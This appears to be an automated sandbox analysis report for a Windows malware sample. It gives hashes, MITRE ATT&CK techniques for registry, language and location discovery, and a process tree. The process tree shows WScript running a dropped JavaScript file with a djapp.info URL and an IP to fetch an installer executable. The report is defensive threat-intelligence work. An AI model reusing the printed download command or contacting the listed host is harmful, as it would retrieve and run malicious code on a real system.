1575aef9498b17365cfd11088dd585b4a14b056b7c43abc6a5c83389fd87e572

General

Target

3f5936f8c4c1416eb39b4c3f5335c20c_JaffaCakes118.exe
Size

184KB
MD5

3f5936f8c4c1416eb39b4c3f5335c20c
SHA1

3f82a1f53548fdddfa6aa54862f37fb3bab0c1ea
SHA256

1575aef9498b17365cfd11088dd585b4a14b056b7c43abc6a5c83389fd87e572
SHA512

ad0725153fa1c232640e62734e5b72454053a282378a0777d9e233b5b25104fabdbfbdbdac28385a0ed12e64d5c7d4d7288c034492a160c24ae5c69927990110
SSDEEP

3072:/MzsU0S0w8Hp9Rc/LB+dJGESR4hIRSYaVvb1NVFJNndnO3L:/7BSH8zUB+nGESaaRvoB7FJNndnS

Score

8^/10

Malware Config

Signatures

Blocklisted process makes network request 5 IoCs

flow	pid	Process
4	4688	WScript.exe
20	1280	WScript.exe
24	4920	WScript.exe
41	432	WScript.exe
43	2148	WScript.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-940901362-3608833189-1915618603-1000\Control Panel\International\Geo\Nation	3f5936f8c4c1416eb39b4c3f5335c20c_JaffaCakes118.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
3196	1540	WerFault.exe	82

System Location Discovery: System Language Discovery 1 TTPs 6 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	3f5936f8c4c1416eb39b4c3f5335c20c_JaffaCakes118.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-940901362-3608833189-1915618603-1000_Classes\Local Settings	3f5936f8c4c1416eb39b4c3f5335c20c_JaffaCakes118.exe

Suspicious use of WriteProcessMemory 15 IoCs

description	pid	Process	procid_target
PID 1540 wrote to memory of 4688	1540	3f5936f8c4c1416eb39b4c3f5335c20c_JaffaCakes118.exe	85
PID 1540 wrote to memory of 4688	1540	3f5936f8c4c1416eb39b4c3f5335c20c_JaffaCakes118.exe	85
PID 1540 wrote to memory of 4688	1540	3f5936f8c4c1416eb39b4c3f5335c20c_JaffaCakes118.exe	85
PID 1540 wrote to memory of 1280	1540	3f5936f8c4c1416eb39b4c3f5335c20c_JaffaCakes118.exe	89
PID 1540 wrote to memory of 1280	1540	3f5936f8c4c1416eb39b4c3f5335c20c_JaffaCakes118.exe	89
PID 1540 wrote to memory of 1280	1540	3f5936f8c4c1416eb39b4c3f5335c20c_JaffaCakes118.exe	89
PID 1540 wrote to memory of 4920	1540	3f5936f8c4c1416eb39b4c3f5335c20c_JaffaCakes118.exe	91
PID 1540 wrote to memory of 4920	1540	3f5936f8c4c1416eb39b4c3f5335c20c_JaffaCakes118.exe	91
PID 1540 wrote to memory of 4920	1540	3f5936f8c4c1416eb39b4c3f5335c20c_JaffaCakes118.exe	91
PID 1540 wrote to memory of 432	1540	3f5936f8c4c1416eb39b4c3f5335c20c_JaffaCakes118.exe	99
PID 1540 wrote to memory of 432	1540	3f5936f8c4c1416eb39b4c3f5335c20c_JaffaCakes118.exe	99
PID 1540 wrote to memory of 432	1540	3f5936f8c4c1416eb39b4c3f5335c20c_JaffaCakes118.exe	99
PID 1540 wrote to memory of 2148	1540	3f5936f8c4c1416eb39b4c3f5335c20c_JaffaCakes118.exe	105
PID 1540 wrote to memory of 2148	1540	3f5936f8c4c1416eb39b4c3f5335c20c_JaffaCakes118.exe	105
PID 1540 wrote to memory of 2148	1540	3f5936f8c4c1416eb39b4c3f5335c20c_JaffaCakes118.exe	105

C:\Users\Admin\AppData\Local\Temp\3f5936f8c4c1416eb39b4c3f5335c20c_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\3f5936f8c4c1416eb39b4c3f5335c20c_JaffaCakes118.exe"
1⤵
- Checks computer location settings
- System Location Discovery: System Language Discovery
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:1540
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf9470.js" http://www.djapp.info/?domain=rcDXgdudxA.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=O9BVGtj2a-YEr6Zs3wyYH6qubo4P1YmGmGYrhLIFYhTJiUp2-KcxyCtDJmXHwE0C3Tqr4GalSgEFQ2K333LrcSBcSC5AosQUy-wm7otAI4nS08rUofZzdt C:\Users\Admin\AppData\Local\Temp\fuf9470.exe
  2⤵
  - Blocklisted process makes network request
  - System Location Discovery: System Language Discovery
  PID:4688
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf9470.js" http://www.djapp.info/?domain=rcDXgdudxA.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=O9BVGtj2a-YEr6Zs3wyYH6qubo4P1YmGmGYrhLIFYhTJiUp2-KcxyCtDJmXHwE0C3Tqr4GalSgEFQ2K333LrcSBcSC5AosQUy-wm7otAI4nS08rUofZzdt C:\Users\Admin\AppData\Local\Temp\fuf9470.exe
  2⤵
  - Blocklisted process makes network request
  - System Location Discovery: System Language Discovery
  PID:1280
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf9470.js" http://www.djapp.info/?domain=rcDXgdudxA.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=O9BVGtj2a-YEr6Zs3wyYH6qubo4P1YmGmGYrhLIFYhTJiUp2-KcxyCtDJmXHwE0C3Tqr4GalSgEFQ2K333LrcSBcSC5AosQUy-wm7otAI4nS08rUofZzdt C:\Users\Admin\AppData\Local\Temp\fuf9470.exe
  2⤵
  - Blocklisted process makes network request
  - System Location Discovery: System Language Discovery
  PID:4920
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf9470.js" http://www.djapp.info/?domain=rcDXgdudxA.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=O9BVGtj2a-YEr6Zs3wyYH6qubo4P1YmGmGYrhLIFYhTJiUp2-KcxyCtDJmXHwE0C3Tqr4GalSgEFQ2K333LrcSBcSC5AosQUy-wm7otAI4nS08rUofZzdt C:\Users\Admin\AppData\Local\Temp\fuf9470.exe
  2⤵
  - Blocklisted process makes network request
  - System Location Discovery: System Language Discovery
  PID:432
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf9470.js" http://www.djapp.info/?domain=rcDXgdudxA.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=O9BVGtj2a-YEr6Zs3wyYH6qubo4P1YmGmGYrhLIFYhTJiUp2-KcxyCtDJmXHwE0C3Tqr4GalSgEFQ2K333LrcSBcSC5AosQUy-wm7otAI4nS08rUofZzdt C:\Users\Admin\AppData\Local\Temp\fuf9470.exe
  2⤵
  - Blocklisted process makes network request
  - System Location Discovery: System Language Discovery
  PID:2148
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 1540 -s 1456
  2⤵
  - Program crash
  PID:3196

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 1540 -ip 1540
1⤵
PID:2596

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

JavaScript

1

T1059.007

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\fuf9470.js

Filesize
3KB

MD5
3813cab188d1de6f92f8b82c2059991b

SHA1
4807cc6ea087a788e6bb8ebdf63c9d2a859aa4cb

SHA256
a3c5baef033d6a5ab2babddcfc70fffe5cfbcef04f9a57f60ddf21a2ea0a876e

SHA512
83b0c0ed660b29d1b99111e8a3f37cc1d2e7bada86a2a10ecaacb81b43fad2ec94da6707a26e5ae94d3ce48aa8fc766439df09a6619418f98a215b9d9a6e4d76

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Analysis

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